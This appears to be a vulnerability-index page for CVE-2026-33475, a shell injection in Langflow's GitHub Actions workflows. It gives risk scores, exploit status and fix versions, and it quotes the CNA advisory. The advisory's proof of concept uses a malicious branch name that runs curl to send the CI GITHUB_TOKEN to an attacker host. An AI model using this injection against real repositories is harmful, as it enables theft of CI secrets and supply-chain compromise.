vciy

CVE-2026-33475

INDEX BUILT · 2026-09-20

No source can show you its own past. This one can.

Print this page to keep the view as it stands on this date. Everything hidden behind a disclosure opens, and every receipt prints with its value.

Langflow GitHub Actions Shell Injection

CVE-2026-334754 of 4 sources documented this
40

rank 40 = 15 + 23 + 0 + 2 + 0

rank@v1 · scheduled

Someone is already using it

CISA KEV catalog · public proof-of-concept · FIRST EPSS

EPSS 0.02956  ·  without this subject the record ranks 25

What it costs you if it fires

NVD CVSS base score, then the CNA's own

CVSS 9.1, from the CNA  ·  without this subject the record ranks 17

It is getting worse, not staying still

FIRST EPSS series, rescorings and bad loads removed

no persisting rise in 365 days  ·  without this subject the record ranks 40

How much of the world it touches

NVD CPE configurations

1 product in the CPE ranges  ·  without this subject the record ranks 38

Someone else already set the date

CISA KEV remediation due date

no CISA due date  ·  without this subject the record ranks 40

Unaudited dollar value2 of 3 inputs carry a receipt
Exposure$130,000over the next 30 days, if this record is yours
Movementno material movementthe record holds only daily drift and scoring model releases
Basisassumeda published average, not your estate

$130,000 = $4.99M incident cost x 0.8814887365328109 exposure x 0.02956 likelihood

udv@v1 · unaudited · wrong for you until you say what you run

$4.99M is the cost of a breach that happened, from IBM Cost of a Data Breach Report 2026, global average. It is not the value of any asset of yours. That average already covers breaches of every severity, so scaling it by exposure understates a partial-impact record. That is an assumption, not a measurement. Your own asset value goes in the decision record.

Hindsight · the state

0.02956EPSSNOT IN KEVas of 2026-09-20
Severity9.1 CRITICALreceipt
Harmunauthenticated · networkreceipt
Exploitationpublic proof-of-conceptreceipt
Defenseunaffected versions publishedreceipt
Movementscoring model changedreceipt
PLATEAU10Minimal movement since 2026-03-25, 163 days at 0.03, as of 2026-09-04. arc-rules@v1

Foresight · where to check next

cactiCVE-2022-27924CVE-2022-35914CVE-2020-17496CVE-2013-2251Atlassian Jira33475

This record is one instance of CWE-74, improper neutralization of special elements in output used by a downstream component ('injection'). The index holds 5545 prior instances of this class, 13 KEV-listed. The nearest of its KEV-listed records are drawn beside this. taxonomy@v1

Full pattern panel

Prior records in this weakness class. Each is its own record, dated and receipted.
Color is a claim, not decoration:the hostile worldthe defenseno signalspoke length is how much of the record matches, not how bad it is

Running langflow-ai langflow? Check your version

A deterministic range check against the ranges this record publishes. It tells you where a version sits in the record, not whether your deployment is exploitable. No account needed.

Watch this record

Matches your own product list against every record this index holds, and tells you when one of them moves.

What counts as a move

Set up a watchlist (needs a Practitioner account)

Record your call

Keep your verdict, your reason and the evidence together. The record takes its date when you save it.

AcceptDeferPatch by…Not affectedMitigated

Choose your verdict, then sign in or use an email link. Your first 100 records are free. Evidence is frozen when the record is created.

Private to your organization unless you share it. Put the proof link in your ticket so a reviewer can inspect the basis for your call. See how decision records work.

Harm, if it fires from the vector and the weakness

Written for the ticket you're about to file.

Reachnetwork-reachable · no privileges required · no user interaction · low attack complexityreceipt
ImpactComplete confidentiality and integrity lossreceipt
Scored fromCVSS v3.1 · the CNA's vectorreceipt
Weakness classCWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')…receipt
Published consequencesCWE-74: Confidentiality: Read Application Data; Access Control: Bypass Protection Mechanism; Other: Alter Execution Logic; Integrity, Other: Other; Non-Repudiation: Hide Activities[email protected]

CISA KEV & Federal Remediation Deadline from the record and CISA

The fix, and how long it's been waiting.

First unaffected version, by branchlangflow 1.9.0receipt
Patch available sinceNo dated patch-availability record in held sources. The index holds reference URLs without dates and only the current revision of the CVE record, so the day a fix first existed cannot be derived. Only the versions it landed in.

Exploit Status & Known PoCs a ladder, not a score

Current rung: Proof-of-concept published · 1 public repository, 2026-09-04.

  • RUNG 1Nothing observed in held sources
  • RUNG 2Proof-of-concept published · 1 public repository2026-09-04receipt
  • RUNG 3Exploited in the wild · CISA KEV listed
  • RUNG 4Ransomware campaign use known

Authority who says so

CVSS, the CNA9.1 CRITICALreceipt
Exploit probability0.02956 · top 13% of all CVEsreceipt
Blast breadth1 product across 1 vendorderived
Assigned byGitHub_Mreceipt
Recorded changes10 · last 19 Sep 2026derived

Affected & Fixed Versions as published

Affected productlangflow-ai langflowreceipt
Published rangeslangflow < 1.9.0receipt

A rung lights from a row in the index, never from an assessment. "Held sources" is the true scope of the claim: this index reads the CVE record, NVD, CISA KEV, FIRST's EPSS and public proof-of-concept repositories, and it does not observe attacks.

Did this affect your environment?Answering needs an account.

Attack path

Unauthenticated network requestno credentials, no interactionlangflow-ai langflowCWE-74 weaknessConfidentiality and integrity lossC:H / I:Hexploits CWE-74data compromise

What it is stated by the CNA

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. receipt

Read the rest of the CNA's description

Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`

NVD's analysis a second authority

weakness
CWE-74; CWE-78
affected versions
langflow < 1.9.0
also scored by
[email protected] 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

check it yourself github.com receipt

Movement the material steps

25 Mar 20260.00052
15 Jun 20260.02956 · scoring model v2026.06.15
Show all 7 observations
25 Mar 20260.00052
30 Mar 20260.00056
25 Apr 20260.00055
5 May 20260.00062
13 May 20260.00077
31 May 20260.00081
15 Jun 20260.02956

7 observations held. A highlighted step crossed a promotion threshold. A step marked with a scoring model moved because the instrument was replaced, not because the vulnerability changed. receipt

The full biography

EPSS 0.02956Published2026-03-24Public PoC2026-09-04Index as of2026-09-04

The record had been public for 5 months when this index was last written.

No material movement in 81 days as of the last ingest this index recorded.

Published 2026-03-24 receipt · Public PoC 2026-09-04 receipt · Index as of 2026-09-04 derived

The pattern, elsewhere

This record is one instance of CWE-74, improper neutralization of special elements in output used by a downstream component ('injection'). The index holds 5545 prior instances of this class, 13 KEV-listed. The nearest of its KEV-listed records are drawn beside this. [email protected]

CVE-2022-46169 · cactimatches 8 of 10KEV listed · 2022receipt
CVE-2022-27924matches 7 of 9KEV listed · 2022receipt
CVE-2022-35914matches 7 of 9KEV listed · 2022receipt
CVE-2020-17496matches 7 of 9KEV listed · 2020receipt
CVE-2013-2251matches 7 of 9KEV listed · 2013receipt
CVE-2019-11581 · Atlassian Jira Server and Data Centermatches 7 of 10KEV listed · 2019receipt

"Matches n of m" counts the attributes the two records can both be compared on: the CVSS metrics they share a version of, any weakness class beyond this one, and the vendor. fit-rules@v1

5545 records in this class held. The six above are drawn from the ones CISA has listed as exploited, ranked by how much of the record matches this one. That is why every one of them is KEV-listed: the pool is, so the colour on those spokes says nothing the pool has not already said.

No curated product neighbourhood is held for this product, so the records above are the nearest this index can name. The neighbourhood table covers a small set of products and is extended by hand.

Siblings and hubs

Records related to this one

Its defect family

langflow-ai langflow

Of the 5 records in this family, this is the only one holding an assigning CNA: GitHub_M.

Grouped by shared product and weakness, not by shared vulnerability. Each record's own state is on its own page.

Family membership: held values

This record is one of a group, and the group's page describes all of them. This page is kept and dated, and the defect family's own page is the one we offer for indexing: the whole group.

Browse the index from here

These are index-wide views, not findings about CVE-2026-33475.

What usually comes next

Everything above needs no account. What is below is work: assembling it, scoping it to your estate, watching it, and handing it to someone else.

Everything on this page is free. Public data. Withholding it protects nothing.